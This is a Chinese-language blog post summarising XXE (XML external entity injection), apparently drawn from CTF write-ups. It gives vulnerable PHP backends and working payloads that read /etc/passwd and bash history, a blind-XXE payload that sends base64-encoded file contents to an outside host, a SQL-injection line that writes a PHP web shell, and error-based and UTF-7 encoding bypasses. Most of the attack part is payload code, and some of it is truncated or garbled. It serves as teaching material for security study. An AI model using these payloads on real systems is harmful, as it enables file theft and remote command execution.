XXE知识总结
XML一些基本概念
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
实体引用
在 XML 中,如果你把字符 "<" 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误:
<message>if salary < 1000 then</message>
为了避免这个错误,请用实体引用来代替 "<" 字符:
<message>if salary < 1000 then</message>
在 XML 中,有 5 个预定义的实体引用:
实体引用 | 表示符号 | 中文含义 |
---|---|---|
< |
< | 小于 |
> |
> | 大于 |
& |
& | 和号 |
' |
' | 单引号 |
" |
" | 引号 |
注释:在 XML 中,只有字符 "<" 和 "&" 确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。
实体的概念:
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。
一个内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
例子:
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML 例子:
<author>&writer;©right;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。
一个外部实体声明
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
有了以上的XML和DTD的知识基础,我们就可以学***E漏洞了。
XXE(XML External Entity Injection XML外部实体注入)
当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞
有回显读本地敏感文件(Normal XXE)
<?php //xxe.php后端代码
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
例1(直接通过DTD外部实体声明):
<?xml version="1.0" encoding = "utf-8"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd" >
]>
<x>&b;</x>
例2(通过DTD文档引入外部DTD文档,再引入外部实体声明):
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://ip/xxe.dtd">
<x>&xxe;</x>
xxe.dtd的内容为:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
例3(通过DTD外部实体声明引入外部实体声明):
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://ip/xxe.dtd" >
%d;
]>
<x>&xxe;</x>
xxe.dtd的内容为:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
若读取的文件含有特殊字符(比如含有<>)导致解析引擎解析时发生错误,使用<![CDATA[ xxxx ] ]>当做原始内容处理
<?xml version = "1.0"?>
<!DOCTYPE a [
<!ENTITY % start "<![CDATA[">
<!ENTITY % content SYSTEM "file:///d:/a.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/xxe.dtd">
%dtd;
]>
<x>&all;</x>
xxe.dtd的内容为:
<!ENTITY all "%start;%content;%end;">
无回显读取本地敏感文件(Blind XXE)
<?php //xxe.php后端代码
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
payload:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % dtd SYSTEM "http://ip/xxe.dtd">
%dtd;%code;%send;
]>
xxe.dtd的内容为:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/a.txt">
<!ENTITY % code "<!ENTITY % send SYSTEM 'http://ip:11111?p=%file;'>">
SVG造成XXE(SVG是基于XML的矢量图,因此支持Entity功能)
svgmagic(BsidesSF CTF 2019) SVG转PNG
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
svgggggg!(DozerCTF2020)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
</svg>
xml.dtd:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。
http://127.0.0.1:8080/index.php?id=-1' union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#
写完shell之后,继续利用数据外带读取内容,重复上面的步骤即可。
读取文件目录:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">
读取flag:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">
报错XXE(前提是php开启报错)
<?php
$input = file_get_contents('php://input');
if (preg_match('/(\<\!DOCTYPE|\<\!ENTITY)/i', $input)) {
die('fail');
}
$obj = simplexml_load_string($input, 'XML', LIBXML_NOCDATA);
?>
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % NUMBER '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>any text</message>
编码绕过(UTF-7、UTF-16等)
<?xml version = "1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE ANY +AFs
+Aad+AD0-convert.base64-encode/resource+AD0-file:///f+ACIAPg
+AF0APg
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通